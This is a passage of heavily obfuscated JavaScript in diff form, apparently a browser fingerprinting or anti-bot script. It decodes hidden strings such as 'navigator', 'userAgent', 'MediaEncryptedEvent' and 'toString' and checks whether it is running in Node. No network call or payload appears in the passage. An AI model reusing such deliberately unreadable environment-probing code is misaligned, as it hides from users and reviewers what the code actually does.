_$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 66001; + _$Zv = 16704; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 83299; + _$qv = 149981; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$mN = _$xv; + _$Qv = _$mN; + _$Wv = 377989; + _$Yv = 144709; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$SN = _$Pv; + _$Qv = _$SN; + _$uW = _$Qv + } + _$Qv = _$SN; + _$Wv = _$AW; + _$Yv = _$PC; + _$Ov = _$Wv[_$Yv]; + _$Pv = 1; + _$Gv = _$Ov - _$Pv; + _$Zv = _$MN; + _$Ev = _$Gv - _$Zv; + _$_v = 1; + _$Vv = _$Ev + _$_v; + _$qv = _$Qv * _$Vv; + _$Hv = _$MN; + _$xv = _$qv + _$Hv; + _$TN = _$xv; + _$Qv = _$IY; + _$Wv = _$LC; + _$Yv = _$AW; + _$Ov = _$IN; + _$Pv = _$TN; + _$Gv = _$Ov | _$Pv; + _$Zv = _$Yv[_$Gv]; + _$Ev = 30; + _$_v = _$Zv - _$Ev; + _$Vv = 50; + _$qv = _$_v - _$Vv; + _$Hv = _$gN++; + _$xv = 10; + _$Bv = _$Hv * _$xv; + _$Xv = _$qv - _$Bv; + _$Fv = _$MY; + _$$v = _$wY++; + _$es = _$Fv[_$$v]; + _$ts = _$Xv ^ _$es; + _$Qv[_$Wv](_$ts); + _$Qv = _$Xl; + _$jN = _$Qv; + _$Wv = 1; + _$CN = _$Wv; + _$Qv = _$CN; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$CN = _$Yv; + _$Qv = 1; + _$jN = _$Qv; + _$Qv = _$BC; + _$DN = _$Qv; + _$Qv = _$CN; + _$jN = _$Qv; + _$Qv = 1776; + _$Wv = 1568; + _$Yv = 1696; + _$Ov = 1616; + _$Pv = 1584; + _$Gv = 1856; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$CN = _$Zv; + for (_$KN = 0; _$KN < _$CN.length; _$KN++) { + _$Qv = _$DN; + _$Wv = _$CN; + _$Yv = _$KN; + _$Ov = _$Wv[_$Yv]; + _$Pv = 4; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$DN = _$Ev + } + _$Qv = _$CN; + _$Wv = _$LC; + _$Yv = _$jN; + _$Ov = _$Qv[_$Wv](_$Yv); + _$CN = _$Ov; + _$Qv = _$Bl; + _$QN = _$Qv; + _$Wv = 1; + _$WN = _$Wv; + _$Qv = _$WN; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$WN = _$Yv; + _$Qv = 1; + _$QN = _$Qv; + _$Qv = _$BC; + _$YN = _$Qv; + _$Qv = _$WN; + _$QN = _$Qv; + _$Qv = 2464; + _$Wv = 3232; + _$Yv = 3200; + _$Ov = 3360; + _$Pv = 3104; + _$Gv = 2208; + _$Zv = 3520; + _$Ev = 3168; + _$_v = 3648; + _$Vv = 3872; + _$qv = 3584; + _$Hv = 3712; + _$xv = 3232; + _$Bv = 3200; + _$Xv = 2208; + _$Fv = 3776; + _$$v = 3232; + _$es = 3520; + _$ts = 3712; + _$ds = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$$v, _$es, _$ts]; + _$WN = _$ds; + for (_$UN = 0; _$UN < _$WN.length; _$UN++) { + _$Qv = _$YN; + _$Wv = _$WN; + _$Yv = _$UN; + _$Ov = _$Wv[_$Yv]; + _$Pv = 5; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$YN = _$Ev + } + _$Qv = _$WN; + _$Wv = _$LC; + _$Yv = _$QN; + _$Ov = _$Qv[_$Wv](_$Yv); + _$WN = _$Ov; + _$Qv = _$BW; + _$Wv = _$YN; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$DN; + _$Pv = _$Yv === _$Ov; + _$ON = _$Pv; + _$Gv = 0; + _$PN = _$Gv; + _$Zv = 0; + _$GN = _$Zv; + _$Ev = _$hY++; + _$NN = _$Ev; + _$Qv = _$NN; + _$Wv = 14966; + _$Yv = 5665; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 25726; + _$Zv = 23571; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 172794; + _$qv = 60486; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$NN = _$xv; + _$Qv = _$NN; + _$Wv = 338161; + _$Yv = 104881; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$Gv = _$$W; + _$Zv = _$PC; + _$Ev = _$Gv[_$Zv]; + _$_v = 1; + _$Vv = _$Ev - _$_v; + _$qv = _$PN; + _$Hv = _$Vv - _$qv; + _$xv = 1; + _$Bv = _$Hv + _$xv; + _$Xv = _$Pv * _$Bv; + _$Fv = _$PN; + _$$v = _$Xv + _$Fv; + _$ZN = _$$v; + _$Qv = _$IY; + _$Wv = _$LC; + _$Yv = _$$W; + _$Ov = _$GN; + _$Pv = _$ZN; + _$Gv = _$Ov | _$Pv; + _$Zv = _$Yv[_$Gv]; + _$Ev = 10; + _$_v = _$Zv - _$Ev; + _$Vv = 70; + _$qv = _$_v - _$Vv; + _$Hv = _$gN++; + _$xv = 10; + _$Bv = _$Hv * _$xv; + _$Xv = _$qv - _$Bv; + _$Fv = _$MY; + _$$v = _$wY++; + _$es = _$Fv[_$$v]; + _$ts = _$Xv ^ _$es; + _$Qv[_$Wv](_$ts); + _$Qv = _$qW; + _$zN = _$Qv; + _$Wv = _$qW; + _$EN = _$Wv; + _$Yv = _$pW; + _$RN = _$Yv; + _$Ov = _$xl; + _$_N = _$Ov; + _$Pv = 1; + _$LN = _$Pv; + _$Qv = _$LN; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$LN = _$Yv; + _$Qv = 1; + _$_N = _$Qv; + _$Qv = _$BC; + _$VN = _$Qv; + _$Qv = _$LN; + _$_N = _$Qv; + _$Qv = 113664; + _$Wv = 112640; + _$Yv = 111616; + _$Ov = 103424; + _$Pv = 117760; + _$Gv = 117760; + _$Zv = 99328; + _$Ev = 105472; + _$_v = 103424; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$LN = _$Vv; + for (_$qN = 0; _$qN < _$LN.length; _$qN++) { + _$Qv = _$VN; + _$Wv = _$LN; + _$Yv = _$qN; + _$Ov = _$Wv[_$Yv]; + _$Pv = 10; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$VN = _$Ev + } + _$Qv = _$LN; + _$Wv = _$LC; + _$Yv = _$_N; + _$Ov = _$Qv[_$Wv](_$Yv); + _$LN = _$Ov; + _$Qv = _$Hl; + _$HN = _$Qv; + _$Wv = 1; + _$xN = _$Wv; + _$Qv = _$xN; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$xN = _$Yv; + _$Qv = 1; + _$HN = _$Qv; + _$Qv = _$BC; + _$BN = _$Qv; + _$Qv = _$xN; + _$HN = _$Qv; + _$Qv = 14208; + _$Wv = 12544; + _$Yv = 13568; + _$Ov = 12928; + _$Pv = 12672; + _$Gv = 14848; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$xN = _$Zv; + for (_$XN = 0; _$XN < _$xN.length; _$XN++) { + _$Qv = _$BN; + _$Wv = _$xN; + _$Yv = _$XN; + _$Ov = _$Wv[_$Yv]; + _$Pv = 7; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$BN = _$Ev + } + _$Qv = _$xN; + _$Wv = _$LC; + _$Yv = _$HN; + _$Ov = _$Qv[_$Wv](_$Yv); + _$xN = _$Ov; + _$Qv = _$rY; + _$Wv = _$VN; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$BN; + _$Pv = _$Yv === _$Ov; + _$FN = _$Pv; + _$Gv = _$ql; + _$JN = _$Gv; + _$Zv = 1; + _$$N = _$Zv; + _$Qv = _$$N; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$$N = _$Yv; + _$Qv = 1; + _$JN = _$Qv; + _$Qv = _$BC; + _$aZ = _$Qv; + _$Qv = _$$N; + _$JN = _$Qv; + _$Qv = 440; + _$Wv = 388; + _$Yv = 472; + _$Ov = 420; + _$Pv = 412; + _$Gv = 388; + _$Zv = 464; + _$Ev = 444; + _$_v = 456; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$$N = _$Vv; + for (_$eZ = 0; _$eZ < _$$N.length; _$eZ++) { + _$Qv = _$aZ; + _$Wv = _$$N; + _$Yv = _$eZ; + _$Ov = _$Wv[_$Yv]; + _$Pv = 2; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$aZ = _$Ev + } + _$Qv = _$$N; + _$Wv = _$LC; + _$Yv = _$JN; + _$Ov = _$Qv[_$Wv](_$Yv); + _$$N = _$Ov; + _$Qv = _$RN; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = 10; + _$Pv = _$Yv > _$Ov; + _$Gv = _$Pv; + if (_$Gv) { + _$ks = _$zN; + _$Ns = _$aZ; + _$Hs = _$ks[_$Ns]; + _$Gv = _$zN = _$Hs + } + _$zN = _$Gv; + _$Qv = _$Vl; + _$rZ = _$Qv; + _$Wv = 1; + _$cZ = _$Wv; + _$Qv = _$cZ; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$cZ = _$Yv; + _$Qv = 1; + _$rZ = _$Qv; + _$Qv = _$BC; + _$vZ = _$Qv; + _$Qv = _$cZ; + _$rZ = _$Qv; + _$Qv = 479232; + _$Wv = 471040; + _$Yv = 413696; + _$Ov = 466944; + _$Pv = 266240; + _$Gv = 421888; + _$Zv = 413696; + _$Ev = 450560; + _$_v = 475136; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$cZ = _$Vv; + for (_$sZ = 0; _$sZ < _$cZ.length; _$sZ++) { + _$Qv = _$vZ; + _$Wv = _$cZ; + _$Yv = _$sZ; + _$Ov = _$Wv[_$Yv]; + _$Pv = 12; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$vZ = _$Ev + } + _$Qv = _$cZ; + _$Wv = _$LC; + _$Yv = _$rZ; + _$Ov = _$Qv[_$Wv](_$Yv); + _$cZ = _$Ov; + _$Qv = _$ua + _$ga + _$la + _$ya + _$Ta + _$oa + _$Ia + _$ta + _$wa + _$ja + _$Da + _$ha + _$da + _$ia + _$Qa + _$ma + _$Sa + _$Ma + _$Ka + _$fa + _$Ca + _$Aa + _$pa + _$ka + _$ba; + _$nZ = _$Qv; + _$Wv = 1; + _$fZ = _$Wv; + _$Qv = _$nZ; + _$fZ = _$Qv; + _$Qv = 1; + _$nZ = _$Qv; + _$Qv = _$nZ; + _$Wv = 5; + _$Yv = _$Qv * _$Wv; + _$nZ = _$Yv; + _$Qv = []; + _$tZ = _$Qv; + _$Qv = _$fZ; + _$nZ = _$Qv; + _$Qv = 43; + _$Wv = 73; + _$Yv = 18; + _$Ov = 70; + _$Pv = 24; + _$Gv = 74; + _$Zv = 25; + _$Ev = 75; + _$_v = 76; + _$Vv = 77; + _$qv = 71; + _$Hv = 78; + _$xv = 39; + _$Bv = 79; + _$Xv = 3; + _$Fv = 80; + _$$v = 9; + _$es = 36; + _$ts = 55; + _$ds = 68; + _$Ms = 60; + _$Is = 58; + _$As = 10; + _$Ss = 42; + _$Yn = 72; + _$Un = 53; + _$On = 81; + _$Pn = 26; + _$Gn = 82; + _$Nn = 57; + _$Zn = 63; + _$zn = 47; + _$En = 83; + _$Rn = 8; + _$_n = 33; + _$Ln = 6; + _$Vn = 56; + _$qn = 84; + _$Hn = 85; + _$xn = 28; + _$Bn = 86; + _$Xn = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$$v, _$es, _$ts, _$ds, _$Ms, _$Is, _$As, _$Ss, _$Yn, _$Un, _$On, _$Pn, _$Gn, _$Nn, _$Zn, _$zn, _$En, _$Rn, _$_n, _$Ln, _$Vn, _$qn, _$Hn, _$xn, _$Bn, 87, 88, 89, 90, 91, 92, 32, 30, 16, 93, 94, 95, 96, 29, 15, 49, 97, 17, 98, 52, 13, 99, 44, 62, 54, 64, 67, 59, 38, 14, 100, 101, 102, 103, 104, 69, 5, 105, 106, 7, 37, 107, 12, 66, 27, 108, 109, 110, 111, 35, 11, 2, 61, 1, 48, 40, 112, 46, 21, 113, 65, 41, 22, 19, 51, 4, 45, 23, 50, 114, 115, 34, 116, 0, 20, 31]; + _$fZ = _$Xn; + for (_$iZ = 0; _$iZ < _$nZ.length; _$iZ++) { + _$Qv = _$tZ; + _$Wv = _$LC; + _$Yv = _$nZ; + _$Ov = _$_C; + _$Pv = _$fZ; + _$Gv = _$iZ; + _$Zv = _$Pv[_$Gv]; + _$Ev = _$Yv[_$Ov](_$Zv); + _$Qv[_$Wv](_$Ev) + } + _$Qv = _$fZ; + _$Wv = _$LC; + _$Yv = _$nZ; + _$Ov = _$Qv[_$Wv](_$Yv); + _$fZ = _$Ov; + _$Qv = _$zN; + _$Wv = _$Qv ? (_$ks = _$zN, + _$Ns = _$vZ, + _$ks[_$Ns]) : (_$Hs = _$tZ, + _$xs = _$RC, + _$wf = _$BC, + _$Hs[_$xs](_$wf)); + _$oZ = _$Wv; + _$Yv = _$zN; + _$kZ = _$Yv; + _$Qv = _$zN; + if (_$Qv) { + _$Qv = _$Ll; + _$bZ = _$Qv; + _$Wv = 1; + _$lZ = _$Wv; + _$Qv = _$lZ; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$lZ = _$Yv; + _$Qv = 1; + _$bZ = _$Qv; + _$Qv = _$BC; + _$hZ = _$Qv; + _$Qv = _$lZ; + _$bZ = _$Qv; + _$Qv = 57344; + _$Wv = 55296; + _$Yv = 59904; + _$Ov = 52736; + _$Pv = 53760; + _$Gv = 56320; + _$Zv = 58880; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$lZ = _$Ev; + for (_$gZ = 0; _$gZ < _$lZ.length; _$gZ++) { + _$Qv = _$hZ; + _$Wv = _$lZ; + _$Yv = _$gZ; + _$Ov = _$Wv[_$Yv]; + _$Pv = 9; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$hZ = _$Ev + } + _$Qv = _$lZ; + _$Wv = _$LC; + _$Yv = _$bZ; + _$Ov = _$Qv[_$Wv](_$Yv); + _$lZ = _$Ov; + _$Qv = _$zN; + _$Wv = _$hZ; + _$Yv = _$Qv[_$Wv]; + _$zN = _$Yv + } + _$Qv = _$_l; + _$uZ = _$Qv; + _$Wv = 1; + _$pZ = _$Wv; + _$Qv = _$pZ; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$pZ = _$Yv; + _$Qv = 1; + _$uZ = _$Qv; + _$Qv = _$BC; + _$yZ = _$Qv; + _$Qv = _$pZ; + _$uZ = _$Qv; + _$Qv = 14848; + _$Wv = 14208; + _$Yv = 9728; + _$Ov = 14208; + _$Pv = 15232; + _$Gv = 12928; + _$Zv = 14592; + _$Ev = 8576; + _$_v = 12416; + _$Vv = 14720; + _$qv = 12928; + _$Hv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv]; + _$pZ = _$Hv; + for (_$wZ = 0; _$wZ < _$pZ.length; _$wZ++) { + _$Qv = _$yZ; + _$Wv = _$pZ; + _$Yv = _$wZ; + _$Ov = _$Wv[_$Yv]; + _$Pv = 7; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$yZ = _$Ev + } + _$Qv = _$pZ; + _$Wv = _$LC; + _$Yv = _$uZ; + _$Ov = _$Qv[_$Wv](_$Yv); + _$pZ = _$Ov; + _$Qv = _$oZ; + if (_$Qv) { + _$Wv = (_$ks = _$oZ, + _$Ns = _$yZ, + _$ks[_$Ns]()) + } else { + _$Wv = _$oZ + } + _$oZ = _$Wv; + _$Qv = _$zN; + if (_$Qv) { + _$Qv = _$zN; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$zN = _$Yv + } + _$Qv = _$zN; + _$Wv = !_$Qv; + if (_$Wv) { + _$Qv = 20; + _$Wv = 60; + _$Yv = _$Qv + _$Wv; + _$dZ = _$Yv; + _$Ov = 0; + _$MZ = _$Ov; + _$Pv = _$OW; + _$IZ = _$Pv; + _$Qv = _$OW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OW = _$Yv; + _$Qv = _$IZ; + _$Wv = 5756; + _$Yv = 3545; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 16492; + _$Zv = 32805; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 303661; + _$qv = 70381; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$IZ = _$xv; + _$Qv = _$IZ; + _$Wv = 305842; + _$Yv = 72562; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$AZ = _$Pv; + _$Qv = _$AZ; + _$Wv = _$uW; + _$Yv = _$Qv === _$Wv; + if (_$Yv) { + _$Qv = _$OW; + _$SZ = _$Qv; + _$Qv = _$OW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OW = _$Yv; + _$Qv = _$SZ; + _$Wv = 3760; + _$Yv = 5541; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 66852; + _$Zv = 17555; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 380374; + _$qv = 147094; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$SZ = _$xv; + _$Qv = _$SZ; + _$Wv = 374491; + _$Yv = 141211; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$AZ = _$Pv; + _$Qv = _$AZ; + _$uW = _$Qv + } + _$Qv = _$AZ; + _$Wv = 100; + _$Yv = 27; + _$Ov = _$Wv + _$Yv; + _$Pv = _$dZ; + _$Gv = _$Ov - _$Pv; + _$Zv = 1; + _$Ev = _$Gv + _$Zv; + _$_v = _$Qv * _$Ev; + _$Vv = _$dZ; + _$qv = _$_v + _$Vv; + _$mZ = _$qv; + _$Qv = _$MZ; + _$Wv = _$mZ; + _$Yv = _$Qv | _$Wv; + _$PY = _$Yv + } + _$Qv = 0; + _$TZ = _$Qv; + try { + _$Qv = _$Rl; + _$jZ = _$Qv; + _$Wv = 1; + _$CZ = _$Wv; + _$Qv = _$CZ; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$CZ = _$Yv; + _$Qv = 1; + _$jZ = _$Qv; + _$Qv = _$BC; + _$DZ = _$Qv; + _$Qv = _$CZ; + _$jZ = _$Qv; + _$Qv = 59392; + _$Wv = 56832; + _$Yv = 42496; + _$Ov = 59392; + _$Pv = 58368; + _$Gv = 53760; + _$Zv = 56320; + _$Ev = 52736; + _$_v = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev]; + _$CZ = _$_v; + for (_$KZ = 0; _$KZ < _$CZ.length; _$KZ++) { + _$Qv = _$DZ; + _$Wv = _$CZ; + _$Yv = _$KZ; + _$Ov = _$Wv[_$Yv]; + _$Pv = 9; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$DZ = _$Ev + } + _$Qv = _$CZ; + _$Wv = _$LC; + _$Yv = _$jZ; + _$Ov = _$Qv[_$Wv](_$Yv); + _$CZ = _$Ov; + _$Qv = _$BW; + _$Wv = _$DZ; + _$Yv = _$Qv[_$Wv](); + _$QZ = _$Yv; + _$Qv = _$QZ; + _$TZ = _$Qv; + _$Qv = module; + _$WZ = _$Qv; + _$Wv = _$El; + _$YZ = _$Wv; + _$Yv = 1; + _$UZ = _$Yv; + _$Qv = _$UZ; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$UZ = _$Yv; + _$Qv = 1; + _$YZ = _$Qv; + _$Qv = _$BC; + _$OZ = _$Qv; + _$Qv = _$UZ; + _$YZ = _$Qv; + _$Qv = 256; + _$Wv = 144; + _$Yv = 280; + _$Ov = 272; + _$Pv = 400; + _$Gv = 376; + _$Zv = 396; + _$Ev = 460; + _$_v = 416; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$UZ = _$Vv; + for (_$PZ = 0; _$PZ < _$UZ.length; _$PZ++) { + _$Qv = _$OZ; + _$Wv = _$UZ; + _$Yv = _$PZ; + _$Ov = _$Wv[_$Yv]; + _$Pv = 2; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$OZ = _$Ev + } + _$Qv = _$UZ; + _$Wv = _$LC; + _$Yv = _$YZ; + _$Ov = _$Qv[_$Wv](_$Yv); + _$UZ = _$Ov; + _$Qv = _$QZ; + _$Wv = _$OZ; + _$Yv = _$Qv + _$Wv; + _$GZ = _$Yv; + _$Qv = 0; + _$TZ = _$Qv + } catch (_$a) {} + _$Qv = _$zl; + _$NZ = _$Qv; + _$Wv = 1; + _$ZZ = _$Wv; + _$Qv = _$ZZ; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$ZZ = _$Yv; + _$Qv = 1; + _$NZ = _$Qv; + _$Qv = _$BC; + _$zZ = _$Qv; + _$Qv = _$ZZ; + _$NZ = _$Qv; + _$Qv = 3712; + _$Wv = 3552; + _$Yv = 2656; + _$Ov = 3712; + _$Pv = 3648; + _$Gv = 3360; + _$Zv = 3520; + _$Ev = 3296; + _$_v = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev]; + _$ZZ = _$_v; + for (_$EZ = 0; _$EZ < _$ZZ.length; _$EZ++) { + _$Qv = _$zZ; + _$Wv = _$ZZ; + _$Yv = _$EZ; + _$Ov = _$Wv[_$Yv]; + _$Pv = 5; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$zZ = _$Ev + } + _$Qv = _$ZZ; + _$Wv = _$LC; + _$Yv = _$NZ; + _$Ov = _$Qv[_$Wv](_$Yv); + _$ZZ = _$Ov; + _$Qv = _$oU; + _$Wv = _$zZ; + _$Yv = _$Qv[_$Wv](); + _$RZ = _$Yv; + _$Ov = _$Zl; + _$_Z = _$Ov; + _$Pv = 1; + _$LZ = _$Pv; + _$Qv = _$LZ; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$LZ = _$Yv; + _$Qv = 1; + _$_Z = _$Qv; + _$Qv = _$BC; + _$VZ = _$Qv; + _$Qv = _$LZ; + _$_Z = _$Qv; + _$Qv = 249856; + _$Wv = 446464; + _$Yv = 454656; + _$Ov = 409600; + _$Pv = 479232; + _$Gv = 442368; + _$Zv = 413696; + _$Ev = 241664; + _$_v = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev]; + _$LZ = _$_v; + for (_$qZ = 0; _$qZ < _$LZ.length; _$qZ++) { + _$Qv = _$VZ; + _$Wv = _$LZ; + _$Yv = _$qZ; + _$Ov = _$Wv[_$Yv]; + _$Pv = 12; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$VZ = _$Ev + } + _$Qv = _$LZ; + _$Wv = _$LC; + _$Yv = _$_Z; + _$Ov = _$Qv[_$Wv](_$Yv); + _$LZ = _$Ov; + _$Qv = _$Nl; + _$HZ = _$Qv; + _$Wv = 1; + _$xZ = _$Wv; + _$Qv = _$xZ; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$xZ = _$Yv; + _$Qv = 1; + _$HZ = _$Qv; + _$Qv = _$BC; + _$BZ = _$Qv; + _$Qv = _$xZ; + _$HZ = _$Qv; + _$Qv = 107520; + _$Wv = 112640; + _$Yv = 102400; + _$Ov = 103424; + _$Pv = 122880; + _$Gv = 80896; + _$Zv = 104448; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$xZ = _$Ev; + for (_$XZ = 0; _$XZ < _$xZ.length; _$XZ++) { + _$Qv = _$BZ; + _$Wv = _$xZ; + _$Yv = _$XZ; + _$Ov = _$Wv[_$Yv]; + _$Pv = 10; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$BZ = _$Ev + } + _$Qv = _$xZ; + _$Wv = _$LC; + _$Yv = _$HZ; + _$Ov = _$Qv[_$Wv](_$Yv); + _$xZ = _$Ov; + _$Qv = _$Gl; + _$FZ = _$Qv; + _$Wv = 1; + _$JZ = _$Wv; + _$Qv = _$JZ; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$JZ = _$Yv; + _$Qv = 1; + _$FZ = _$Qv; + _$Qv = _$BC; + _$$Z = _$Qv; + _$Qv = _$JZ; + _$FZ = _$Qv; + _$Qv = 999424; + _$Wv = 1785856; + _$Yv = 1818624; + _$Ov = 1638400; + _$Pv = 1916928; + _$Gv = 1769472; + _$Zv = 1654784; + _$Ev = 720896; + _$_v = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev]; + _$JZ = _$_v; + for (_$az = 0; _$az < _$JZ.length; _$az++) { + _$Qv = _$$Z; + _$Wv = _$JZ; + _$Yv = _$az; + _$Ov = _$Wv[_$Yv]; + _$Pv = 14; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$$Z = _$Ev + } + _$Qv = _$JZ; + _$Wv = _$LC; + _$Yv = _$FZ; + _$Ov = _$Qv[_$Wv](_$Yv); + _$JZ = _$Ov; + _$Qv = _$Pl; + _$ez = _$Qv; + _$Wv = 1; + _$rz = _$Wv; + _$Qv = _$rz; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$rz = _$Yv; + _$Qv = 1; + _$ez = _$Qv; + _$Qv = _$BC; + _$cz = _$Qv; + _$Qv = _$rz; + _$ez = _$Qv; + _$Qv = 3360; + _$Wv = 3520; + _$Yv = 3200; + _$Ov = 3232; + _$Pv = 3840; + _$Gv = 2528; + _$Zv = 3264; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$rz = _$Ev; + for (_$vz = 0; _$vz < _$rz.length; _$vz++) { + _$Qv = _$cz; + _$Wv = _$rz; + _$Yv = _$vz; + _$Ov = _$Wv[_$Yv]; + _$Pv = 5; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$cz = _$Ev + } + _$Qv = _$rz; + _$Wv = _$LC; + _$Yv = _$ez; + _$Ov = _$Qv[_$Wv](_$Yv); + _$rz = _$Ov; + _$Qv = _$RZ; + _$Wv = _$cz; + _$Yv = _$$Z; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Pv = 1; + _$Gv = -_$Pv; + _$Zv = _$Ov == _$Gv; + _$Ev = _$Zv; + if (_$Ev) { + _$ks = _$RZ; + _$Ns = _$BZ; + _$Hs = _$VZ; + _$xs = _$ks[_$Ns](_$Hs); + _$wf = 1; + _$df = -_$wf; + _$Ev = _$xs == _$df + } + if (_$Ev) { + _$Qv = 0; + _$TZ = _$Qv + } + _$Qv = _$TZ; + if (_$Qv) { + _$Qv = 1; + _$sz = _$Qv; + _$Wv = 0; + _$nz = _$Wv; + _$Yv = _$OW++; + _$fz = _$Yv; + _$Qv = _$fz; + _$Wv = 12787; + _$Yv = 3486; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 31094; + _$Zv = 18203; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 374031; + _$qv = 140751; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$fz = _$xv; + _$Qv = _$fz; + _$Wv = 148798; + _$Yv = 84482; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$tz = _$Pv; + _$Gv = _$tz; + _$Zv = 30; + _$Ev = 40; + _$_v = _$Zv + _$Ev; + _$Vv = _$sz; + _$qv = _$_v - _$Vv; + _$Hv = 1; + _$xv = _$qv + _$Hv; + _$Bv = _$Gv * _$xv; + _$Xv = _$sz; + _$Fv = _$Bv + _$Xv; + _$iz = _$Fv; + _$Qv = _$nz; + _$Wv = _$iz; + _$Yv = _$Qv ^ _$Wv; + _$IW = _$Yv + } + _$Qv = _$Ol; + _$oz = _$Qv; + _$Wv = 1; + _$kz = _$Wv; + 